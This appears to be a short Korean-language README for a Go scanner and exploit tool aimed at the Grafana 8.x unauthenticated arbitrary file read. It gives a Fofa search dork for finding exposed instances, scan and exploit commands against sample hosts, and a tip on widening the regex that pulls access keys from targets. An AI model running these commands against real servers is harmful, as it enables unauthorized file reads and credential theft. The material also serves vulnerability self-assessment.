
Grafana 임의 파일 읽기 취약점
❯ go run main.go -s
[INF] VulnInfo:
{
"Name": "Grafana Arbitrary File Read",
"VulID": "nil",
"Version": "1.0",
"Author": "z3",
"VulDate": "2021-12-07",
"References": [
"https://nosec.org/home/detail/4914.html"
],
"AppName": "Grafana",
"AppPowerLink": "https://grafana.com/",
"AppVersion": "Grafana Version 8.*",
"VulType": "Arbitrary File Read",
"Description": "An unauthorized arbitrary file reading vulnerability exists in Grafana, which can be exploited by an attacker to read arbitrary files on the host computer without authentication.",
"Category": "REMOTE",
"Dork": {
"Fofa": "app=\"Grafana\"",
"Quake": "",
"Zoomeye": "",
"Shodan": ""
}
}%
echo vulfocus.fofa.so:55628 | go run main.go -v -t 20
http://vulfocus.fofa.so:55628
echo http://vulfocus.fofa.so:51766 | go run main.go -m exploit -v
참고 1의 활용 아이디어를 구현한 것입니다. 더 많은 정보를 추출하려면 getAccesskey 함수의 정규식을 수정하십시오.
이 절차는 보안 자체 점검 용도로만 사용되며, 현지 법률을 자발적으로 준수하시기 바랍니다.